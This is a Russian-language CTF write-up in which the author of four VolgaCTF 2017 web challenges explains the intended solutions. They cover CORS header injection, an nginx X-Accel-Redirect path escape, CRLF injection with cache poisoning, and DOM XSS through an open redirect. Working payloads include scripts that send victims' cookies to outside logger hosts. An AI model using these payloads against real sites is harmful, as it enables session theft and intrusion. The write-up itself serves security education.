Для участников VolgaCTF мной были подготовлены 4 задания на категорию web. В основном это были интересные идеи с рабочих проектов и bugbounty программ на client-side уязвимости.
Task 1.1
https://task1.finals.2017.volgactf.ru/
https://task1.finals.2017.volgactf.ru/source.zip
Nginx + PHP, задание с исходным кодом. Основная часть:
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_') {
header(str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))).': '.$value, false);
}
}
foreach($_GET as $name => $value) {
if(is_string($value)) {
header($name.': '.$value, false);
}
}
Все GET параметры и заголовки запроса попадают в заголовки HTTP ответа (включая cookie с флагом). Так как cookie с флагом httpOnly
- то даже если получится сделать XSS, то она ничего не даст, так что необходимо смотреть в сторону CORS. Для решения необходимо было узнать о заголовке Access-Control-Expose-Headers
и сформировать payload для кражи cookie у бота.
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://task1.finals.2017.volgactf.ru/index.php?Access-Control-Allow-Origin=null&Access-Control-Expose-Headers=Cookie&Access-Control-Allow-Credentials=true', false);
xhr.withCredentials = true;
xhr.send();
if (xhr.status == 200) {
location = 'http://logger/?'+xhr.getResponseHeader('Cookie');
}
</script>
Task 1.2
Вторая часть задания была на server-side уязвимость в nginx.
Флаг был в php файле на отдельном vhost. Однако, для него был следующий конфиг, который не позволял его получить.
server {
...
server_name task1.finals.2017.volgactf.ru;
root /var/www/html;
...
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.0-fpm.sock;
}
...
}
server {
...
server_name volgactf_dev;
root /var/www/html_old;
...
location ~ \.php$ {
deny all;
}
}
Помимо обычных заголовков, которые непосредственно попадают в HTTP ответ, есть еще и специальные, влияющие на обработку ответа. В случае с PHP это заголовок Location
, меняющий код ответа на 302 и заголовок HTTP/
для указания кода и статуса ответа (http://php.net/manual/ru/function.header.php).
https://task1.finals.2017.volgactf.ru/?Location=http://google.com
https://task1.finals.2017.volgactf.ru/?HTTP/=666%20Ne%20OK
В nginx также есть специальные заголовки Status
и X-Accel
(https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/).
https://task1.finals.2017.volgactf.ru/?Status=666+Ne+OK
https://task1.finals.2017.volgactf.ru/?X-Accel-Redirect=/index.php
Наиболее интересным является X-Accel-Redirect
, который обычно используется для перенаправления запроса на внутренние location (https://nginx.ru/ru/docs/http/ngx_http_core_module.html#internal). В реализации этого перенаправления есть небольшой косяк, который я обнаружил, когда тестировал Task 1.1.
root /var/www/html;
GET $URI HTTP/1.1
GET /index.php HTTP/1.1
Результат: $root$URI == /var/www/html/index.php
root /var/www/html;
X-Accel-Redirect: $URI
X-Accel-Redirect: foo/bar
Результат: $root$URI == /var/www/htmlfoo/bar
Так как X-Accel-Redirect
в отличие от Request-URI
не обязательно должен начинаться с символа /
, то в результате конкатенации может произойти частичный выход за пределы текущего document root с префиксом. Так как в задании было:
root /var/www/html;
root /var/www/html_old;
Обратиться к flag.php
через дефолтный vhost не составляет труда:
https://task1.finals.2017.volgactf.ru/?X-Accel-Redirect=_old/flag.php
Task 2
https://task2.finals.2017.volgactf.ru/
https://task2.finals.2017.volgactf.ru/static/source.zip
Nginx + Django, задание с исходным кодом.
В задании было настроено кэширование ответа /account/
в котором для администратора отображался флаг.
location /account/ {
uwsgi_cache_key $request_uri$cookie_sessionid;
uwsgi_cache cache;
uwsgi_cache_valid 200 1m;
uwsgi_cache_use_stale error timeout invalid_header http_500;
uwsgi_ignore_headers Vary;
add_header X-Cache-Status $upstream_cache_status;
include uwsgi_params;
uwsgi_pass unix:/run/uwsgi/task2.sock;
}
Ключом кэша является строка $request_uri$cookie_sessionid
, где sessionid - это идентификатор сессии пользователя в Django.
В конфиге nginx также нужно было заметить уязвимое перенаправление с http на https (http://blog.volema.com/nginx-insecurities.html).
if ($scheme != "https") {
return 301 https://$host$uri;
}
Вместо request_uri использовалась переменная uri, значение которой проходит URL декодирование и нормализацию пути. В случае, если такая переменная попадает в заголовки HTTP ответа - это позволяет провести CRLF Injection, причем в данном случае мы уже не можем использовать заголовки X-Accel
или Status
.
Протестировав кэширование ответа можно было заметить, что при запросе
GET /account/ HTTP/1.1
Host: task2.finals.2017.volgactf.ru
Cookie: sessionid=xxx; sessionid=lxum1hevzndcduszsbwbxcyekru9fpnj
Nginx в переменной $cookie_sessionid
использует первую cookie, а Django вторую. То есть данный ответ будет закэширован с ключом /account/xxx.
Объединив CRLF Injection и разницу обработки cookie получаем следующий payload.
http://task2.finals.2017.volgactf.ru/%0aSet-Cookie:sessionid=xxx;path=/account/;
В результате:
1. В перенаправлении с http на https будет создана cookie sessionid=xxx
2. С /
запрос будет перенаправлен на /account/
, так как пользователь авторизован
3. Cookie sessionid=xxx
не перезапишет оригинальную, так как у них разный path, но в тоже время будет первой в списке, так как префикс пути у нее больше.
4. Ответ с флагом будет закэширован с ключом /account/xxx
Получить флаг можно сделав такой запрос:
GET /acoount/xxx HTTP/1.1
или
GET /account/ HTTP/1.1
Cookie: sessionid=xxx;
Task 3
https://task3.finals.2017.volgactf.ru
Задание на DOM Based XSS.
В зависимости от указанного параметра lang в javascript происходила загрузка нужного html файла с текстом.
loadPage('language/' + lang + '.html');
При этом параметр lang разбивался на 2 части по символу _
. Первая часть приводилась к lower case, вторая к upper case.
var langSplit = lang.split('_')
if(langSplit.length === 2) {
var language = langSplit[0],
countryCode = langSplit[1]
language = language && language != language.toLowerCase() ? language.toLowerCase() : language
countryCode = countryCode && countryCode != countryCode.toUpperCase() ? countryCode.toUpperCase() : countryCode
return language + '_' + countryCode
Также для скачивания текста использовался сценарий downloadButton.php
в котором можно было сделать Open Redirect.
https://task3.finals.2017.volgactf.ru/downloadButton.php?link=//www.google.com/
Объединив загрузку html и open redirect можно загрузить содержимое с любого сайта, но мешает обработка параметра lang, так как необходимо указать строку в разном регистре downloadButton
. Для обхода этого можно использовать URL кодирование, которое сработает независимо от регистра. Финальный payload:
https://task3.finals.2017.volgactf.ru/?lang=ru/../../download%2542utton.php?link=//site.com/xss.php?_xx
xss.php
<?php;
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Headers: cache-control");
print('<svg/onload="location=\'https://site.com/logger/\'+document.cookie"/>');
Если ваши варианты решения отличаются, было бы интересно их увидеть в комментариях. Задания будут работать еще несколько дней, бот расположен по адресу https://taskbot.finals.2017.volgactf.ru/.